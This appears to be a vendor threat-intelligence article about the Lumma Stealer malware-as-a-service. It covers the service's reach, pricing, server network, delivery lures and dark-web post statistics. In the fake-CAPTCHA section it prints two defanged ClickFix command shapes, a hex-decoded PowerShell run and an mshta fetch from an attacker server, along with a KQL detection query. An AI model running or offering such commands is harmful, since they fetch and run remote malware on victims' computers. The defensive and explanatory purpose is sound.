Lumma Stealer

Lumma Stealer is an infostealer sold as malware-as-a-service. Microsoft tracks the actor who builds the malware and runs its servers and the service as Storm-2477. Affiliates pay for access, then use a web panel to build their own copy, manage its servers and collect what it steals. The developer supplies the code and the servers, and each affiliate picks the lures and the victims.

The reach is wide. Microsoft counted more than 394,000 infected Windows computers worldwide between 16 March and 16 May 2025. Court filings say the FBI found at least 1.7 million instances of LummaC2 being used to steal browser data, logins and cryptocurrency seed phrases. Recorded Future called Lumma the most widespread infostealer of 2024, based on its analysis of malicious infrastructure.

Microsoft has seen ransomware actors use Lumma in their campaigns, among them Octo Tempest, the group also known as Scattered Spider. MITRE says data captured by Lumma has been sold to initial access brokers, who resell the way in to other criminals.

What Lumma Takes From an Infected Computer

Lumma reads what is already stored on the PC. Microsoft says the list of targets comes from a configuration file that the malware downloads from its server. So the list can change from one campaign to the next. The table shows what the sources name.

How Affiliates Buy and Run It

ESET says affiliates paid a monthly fee from USD 250 to USD 1,000, depending on the tier. Higher tiers added custom data collection, evasion tools and early access to new features. Bitdefender puts the 2023 range at USD 250 to USD 20,000 for the full premium package. Microsoft says the main developer is based in Russia, sold the tiers on Telegram and Russian-language forums and claimed about 400 active clients in November 2023.

The stolen data is packed into stealer logs and sold on. The FBI and CISA cite private-sector figures of more than 21,000 market listings for LummaC2 logs from April to June 2024. That was 71.7% more than in the same months of 2023. ESET says the operators also ran a Telegram marketplace with seller ratings, where affiliates sold stolen data without a middleman.

The server network is built to survive blocking. ESET found nine encrypted server addresses in each sample. It counted 3,353 unique server domains between 17 June 2024 and 1 May 2025, about 74 new ones a week. When none of them answer, the malware reads a fallback address from a Telegram channel or a Steam profile, according to ESET and Microsoft.

Microsoft wrote in May 2025 that all these servers sat behind Cloudflare’s proxy. After the takedown, Trend Micro saw far fewer Lumma domains on Cloudflare and more on Russian providers such as Selectel. Microsoft adds that Lumma can install other malware too, such as a clipboard stealer plugin and coin miners.

The Fake CAPTCHA Command, and How to Hunt for It

The lure most tied to Lumma is the fake CAPTCHA, also called ClickFix. A web page asks the visitor to prove they are human. Clicking “I’m not a robot” silently copies a command, and the page then asks for three key presses: Windows + R, Ctrl + V and Enter. The FBI and CISA describe the same steps, which end in a Base64-encoded PowerShell command.

What lands in the Run box varies. These two shapes come from published reports, with the payload and the server removed:

# Bitdefender, February 2026 report: hex text that PowerShell turns back into a command
cmd.exe /c start /min powershell [Text.Encoding]::UTF8.GetString((('<long hex string>' -split '(..)'|?{$_})|%{[Convert]::ToByte($_,16)}))|powershell

# Microsoft, April 2025: mshta fetches a script from the attacker's server
mshta hxxp://<attacker server>/<file>

Bitdefender says the hex text decodes to an Invoke-WebRequest call whose result goes to Invoke-Expression, so the next stage runs straight from the attacker’s server. In February 2026, Microsoft saw a variant that asks for Windows + X and then I, which opens Windows Terminal instead of the Run box. In a post by Microsoft Threat Intelligence on X, Microsoft said this route bypasses detections tuned to Run dialog abuse and ends in a Lumma Stealer component.

Microsoft has published a hunting query for its Defender tools that looks for these commands in the RunMRU registry key, where Windows keeps the Run box history. A shortened version is below. The full query on Microsoft’s page adds more strings and conditions, so it returns fewer false matches.

DeviceRegistryEvents
| where ActionType =~ "RegistryValueSet"
| where InitiatingProcessFileName =~ "explorer.exe"
| where RegistryKey has @"\CurrentVersion\Explorer\RunMRU"
| where RegistryValueData has "✅"
    or RegistryValueData has_any ("powershell", "mshta", "curl", "msiexec")

A RunMRU search cannot see the Windows Terminal variant, because that route skips the Run box. Add a check for PowerShell started from wt.exe with encoded or hex commands.

Is Lumma Still Active?

Yes, though its place in the market has shifted. Trend Micro saw activity high again from June 2025, weeks after the takedown. From September 2025 it saw a steady decline, as a doxxing campaign exposed five people allegedly behind the service and its Telegram accounts were reportedly taken over. Trend says many customers moved to Vidar and StealC, and that the doxxed details have not been independently verified.

Trend adds that activity of Amadey, a pay-per-install service often used to deliver stealers, fell at the same time. Bitdefender then reported Lumma back at scale. In its data from 12 December 2025 to 12 January 2026, most infections were in India, with others in the US and Europe. CastleLoader was a main delivery route.

Lumma in Brandefense Blackhole Data, January to October 2026

Brandefense Blackhole, our cybercrime database, collects dark web and Telegram posts. For the Infostealers chapter of the Cybercrime Report 2026, we kept the distinct posts that name a stealer family after removing bots, mirrors, duplicates and noise. The table is computed from the chapter’s published data kit (family_mentions_monthly.csv). It counts posts, not infections or logs.

The share is Lumma’s posts divided by all retained posts naming a tracked stealer family that month. A post naming two families counts once for each. Lunex and XWorm are left out, as in our published analysis: most Lunex posts were unrelated, and XWorm is a remote-access tool.

• Lumma was named every month and ranked third overall, behind Vidar (270 posts) and RedLine Stealer (226). In August it was the most-named family.
• Raw counts mislead. Posts containing the word “lumma” fell from 332 in January to 13 in October (to 27 October). But an indicator-alert bot wrote 258 of the January posts naming Lumma, and none from March on.
• In the posts we read, Lumma was retold far more often than offered. Of 40 sampled Lumma posts, 15 retold news, 10 were discussion, 6 used the name to label logs and only 1 offered the malware.

The lesson from our article on what a stealer family name does in a post is practical. A “Lumma logs” label is the seller’s word, not proof of how the data was taken. Reset credentials and end sessions for exposed accounts without waiting to confirm the family, as our guide to responding to infostealer log exposure sets out.

Lumma needs a person to run it. Bitdefender says that in every chain it analyzed, the compromise began only after the user ran the malware. It says infections are driven by social engineering rather than software flaws. Microsoft says the delivery infrastructure is short-lived, shifting quickly across domains, platforms and countries to avoid takedowns.

Microsoft's May 2025 analysis names the main routes. Phishing emails pose as urgent hotel reservation notices or invoices. Malicious search ads for queries such as "Notepad++ download" or "Chrome update" lead to cloned vendor sites, and compromised websites run injected JavaScript that shows a fake CAPTCHA.

Cracked or pirated apps carry the malware, and other malware, such as DanaBot, drops it as an extra payload. Trend Micro found GitHub repositories with AI-generated README files offering game cheats, and YouTube videos and Facebook posts linking to fake cracks.

Bitdefender found fake game installers on itch.io, torrents of new films and adult videos, and bogus Steam update alerts. The loaders in front of Lumma change too. ESET lists SmokeLoader, DarkGate and Amadey, and Bitdefender names Rugmi, DonutLoader and, most recently, CastleLoader.